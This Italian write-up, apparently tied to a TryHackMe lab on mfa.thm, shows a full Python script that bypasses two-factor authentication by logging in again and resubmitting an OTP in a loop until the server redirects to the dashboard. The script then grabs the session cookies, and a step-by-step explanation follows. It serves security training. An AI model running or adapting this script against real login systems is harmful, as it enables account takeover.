tags: 2FA Autenticazione_due_fattori disconnesione_auto python_offensive
Quando una autenticazione a due fattori presenta una challenge che ti reindirizza alla pagina di login dopo aver fallito il codice OTP è una buona idea tentare l’approccio del brute forcing per trovare il codice corretto. L’idea è quella di mandare tante richieste al server sia per la prima challenge(le credenziali di accesso che dobbiamo già avere) che per la seconda alla quale quest’ultima il nostro script verificherà ogni volta la risposta del server per vedere se reindirizza o meno la nostra richiesta alla pagina di login, non appena trova un codice che non reindirizza alla pagina di login significa che è il codice corretto.
Ecco un esempio di script che compie questa operazione:
import requests
# Define the URLs for the login, 2FA process, and dashboard
login_url = 'http://mfa.thm/labs/third/'
otp_url = 'http://mfa.thm/labs/third/mfa'
dashboard_url = 'http://mfa.thm/labs/third/dashboard'
# Define login credentials
credentials = {
'email': '[email protected]',
'password': 'test123'
}
# Define the headers to mimic a real browser
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://mfa.thm',
'Connection': 'close',
'Referer': 'http://mfa.thm/labs/third/mfa',
'Upgrade-Insecure-Requests': '1'
}
# Function to check if the response contains the login page
def is_login_successful(response):
return "User Verification" in response.text and response.status_code == 200
# Function to handle the login process
def login(session):
response = session.post(login_url, data=credentials, headers=headers)
return response
# Function to handle the 2FA process
def submit_otp(session, otp):
# Split the OTP into individual digits
otp_data = {
'code-1': otp[0],
'code-2': otp[1],
'code-3': otp[2],
'code-4': otp[3]
}
response = session.post(otp_url, data=otp_data, headers=headers, allow_redirects=False) # Disable auto redirects
print(f"DEBUG: OTP submission response status code: {response.status_code}")
return response
# Function to check if the response contains the login page
def is_login_page(response):
return "Sign in to your account" in response.text or "Login" in response.text
# Function to attempt login and submit the hardcoded OTP until success
def try_until_success():
otp_str = '1337' # Hardcoded OTP
while True: # Keep trying until success
session = requests.Session() # Create a new session object for each attempt
login_response = login(session) # Log in before each OTP attempt
if is_login_successful(login_response):
print("Logged in successfully.")
else:
print("Failed to log in.")
continue
print(f"Trying OTP: {otp_str}")
response = submit_otp(session, otp_str)
# Check if the response is the login page (unsuccessful OTP)
if is_login_page(response):
print(f"Unsuccessful OTP attempt, redirected to login page. OTP: {otp_str}")
continue # Retry login and OTP submission
# Check if the response is a redirect (status code 302)
if response.status_code == 302:
location_header = response.headers.get('Location', '')
print(f"Session cookies: {session.cookies.get_dict()}")
# Check if it successfully bypassed 2FA and landed on the dashboard
if location_header == '/labs/third/dashboard':
print(f"Successfully bypassed 2FA with OTP: {otp_str}")
return session.cookies.get_dict() # Return session cookies after successful bypass
elif location_header == '/labs/third/':
print(f"Failed OTP attempt. Redirected to login. OTP: {otp_str}")
else:
print(f"Unexpected redirect location: {location_header}. OTP: {otp_str}")
else:
print(f"Received status code {response.status_code}. Retrying...")
# Start the attack to try until success
try_until_success()Spiegazione dello script
Lo script esegue un attacco di forza bruta contro un sistema di autenticazione a due fattori (2FA) in un ambiente controllato. L’obiettivo è sfruttare il comportamento della pagina di login e il sistema di gestione delle sessioni (cookie) per trovare il PIN corretto e accedere al dashboard bypassando il 2FA. Vediamo passo per passo cosa fa lo script.
Passaggi dello script
1. Definizione degli URL
- Gli URL rappresentano i punti principali per l’interazione:
login_url: Endpoint per l’autenticazione primaria (nome utente e password).otp_url: Endpoint per inviare il codice OTP.dashboard_url: L’URL che viene raggiunto dopo aver superato l’autenticazione 2FA.
2. Creazione delle credenziali
-
Le credenziali fisse vengono definite come:
python
Copy code
credentials = { 'email': '[email protected]', 'password': 'test123' }
3. Headers per imitare un browser reale
- Gli headers HTTP sono configurati per far sembrare le richieste come provenienti da un browser reale. Questo aiuta a evitare blocchi da parte del server.
4. Funzione per verificare il successo del login
- La funzione
is_login_successfulcerca nella risposta il testo “User Verification” per verificare se il login è stato completato con successo.
5. Login
-
La funzione
logininvia una richiesta POST con email e password all’URL di login, restituendo la risposta:python
Copy code
response = session.post(login_url, data=credentials, headers=headers)
6. Invio dell’OTP
- La funzione
submit_otpsimula l’invio del codice OTP:- Divide l’OTP in singole cifre (
code-1,code-2, ecc.). - Invia la richiesta al server.
- La risposta del server viene usata per verificare se il codice OTP è corretto o meno.
- Divide l’OTP in singole cifre (
7. Controllo della risposta
is_login_pageverifica se l’utente è stato riportato alla pagina di login, il che significa che l’OTP era errato.
8. Attacco di forza bruta
- Il cuore dello script è la funzione
try_until_success. Qui:- Viene definito un OTP fisso (
otp_str = '1337'). - Si crea una nuova sessione per ogni tentativo.
- Si eseguono login e tentativi con l’OTP in un ciclo continuo.
- Se l’OTP è errato, lo script verifica se l’utente è stato reindirizzato alla pagina di login e ricomincia.
- Viene definito un OTP fisso (